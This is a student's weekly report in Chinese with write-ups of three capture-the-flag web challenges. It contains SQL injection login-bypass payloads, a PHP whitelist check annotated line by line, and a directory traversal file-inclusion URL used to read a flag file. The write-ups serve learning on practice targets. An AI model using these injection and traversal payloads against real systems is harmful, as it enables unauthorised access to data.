## 计科234徐潘第13周周报

#\*\*[极客大挑战 2019]EasySQL 1\*\*

打开靶机可以看到一个需要输入用户名和密码的用户登录界面

根据提示知道此题使用SQL注入来破解

查看网站源代码，发现网站只接收了文本框输入的内容而没有对其做任何处理，可以想到，在输入用户名和密码后，系统会使用SQL语句从数据库查找是否与文本框里相匹配的用户名和密码

例如：

```shell

SELECT username,password

FROM lib

WHERE username='USER.txt' AND password='WORD.txt'

```

只有WHERE后面的条件为真时才能成功登录，可以通过万能钥匙SQL注入改变SELECT语句结构

首先进行闭合测试，尝试使用无闭合、单引号、双引号、括号输入万能密码

测试发现双引号、括号和无闭合都会提示用户名和密码错误，而单引号提示SQL语句有错，于是可以得知此处的闭合方式是单引号

直接输入用户名和密码SQL植入：

```shell

admin' OR 1=1#

' OR '1'='1'#

```

这样WHERE条件语句就改成了WHERE username='admin' OR 1=1#' AND password='' OR '1'='1'#'，可见条件一定成立，登录成功，拿到flag：

flag{8ed1a8d0-5721-47c9-a6c4-4ce15621289f}

#\*\*26.[极客大挑战 2019]Havefun\*\*

启动靶机，界面只有一只小猫咪

查看网站源码，可以看到这几行代码：

```shell

        <!--

        $cat=$\_GET['cat'];

        echo $cat;

        if($cat=='dog'){

            echo 'Syc{cat\_cat\_cat\_cat}';

        }

        -->

```

可以看到，当参数cat等于dog时会输出额外信息，且cat参数的值是通过GET直接传参，尝试在网址上构造payload：

```shell

http://5a028d2d-89b9-441d-a85d-236bcf42fa88.node5.buuoj.cn:81/?cat=dog

```

按下回车后得到flag:

flag{c0c2e574-fd51-4756-ad4b-df499c27c8b0}

#\*\*[HCTF 2018]WarmUp\*\*

启动靶机，页面只有一个巨大的滑稽图片，查看网站源代码：

```shell

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <meta http-equiv="X-UA-Compatible" content="ie=edge">

    <title>Document</title>

</head>

<body>

    <!--source.php-->

    <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>

</html>

```

可以看到网站目录下有名为source的php文件，访问这个source.php并加上注释：

```shell

class emmm

 2     {

 3         public static function checkFile(&$page)

 4

 5         {

 6             //白名单列表

 7             $whitelist = ["source"=>"source.php","hint"=>"hint.php"];

 8             //isset()判断变量是否声明，is\_string()判断变量是否是字符串，此处用了逻辑与两个值都为真才执行if里面的值

 9             if (! isset($page) || !is\_string($page)) {

10                 echo "you can't see it A";

11                 return false;

12             }

13             //检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真

14             if (in\_array($page, $whitelist)) {

15                 return true;

16             }

17             //过滤问号的函数(如果$page的值有?，则从?之前提取字符串)

18             $\_page = mb\_substr(

19                 $page,

20                 0,

21                 mb\_strpos($page . '?', '?')//返回$page.?里面?号出现的第一个位置

22             );

23

24              //第二次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真

25             if (in\_array($\_page, $whitelist)) {

26                 return true;

27             }

28             //url对$page解码

29             $\_page = urldecode($page);

30

31             //第二次过滤问号的函数(如果$page的值有?，则从?之前提取字符串)

32             $\_page = mb\_substr(

33                 $\_page,

34                 0,

35                 mb\_strpos($\_page . '?', '?')

36             );

37             //第三次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真

38             if (in\_array($\_page, $whitelist)) {

39                 return true;

40             }

41             echo "you can't see it";

42             return false;

43         }

44     }

```

可以看到这个php程序对用户的访问进行了三次白名单检测及一系列处理，首先尝试访问网站的hint.php文件，返回：

flag not here, and flag in ffffllllaaaagggg

在hint.php中发现了ffffllllaaaagggg，显然flag在这个文件里，而且其文件名提示使用了四层目录

尝试直接访问这个文件，返回：

you can't see it

可以知道这个文件名不在白名单上被过滤了

include函数有一个特性：

以字符‘/’分隔（而且不计个数），若是在前面的字符串所代表的文件无法被PHP找到，则PHP会自动包含‘/’后面的文件——注意是最后一个‘/’

那么这样构造一个payload，使其?之前的字符串能通过白名单，同时使得PHP会自动包含‘/’后面的文件达到访问ffffllllaaaagggg的目的：

```shell

http://b0243cb9-346c-4793-88e9-cc0b18018eeb.node5.buuoj.cn:81/index.php?file=hint.php?../../../../../ffffllllaaaagggg

```

成功访问，得到flag:

flag{13c579d9-6447-4f05-887a-4a4f6784e750}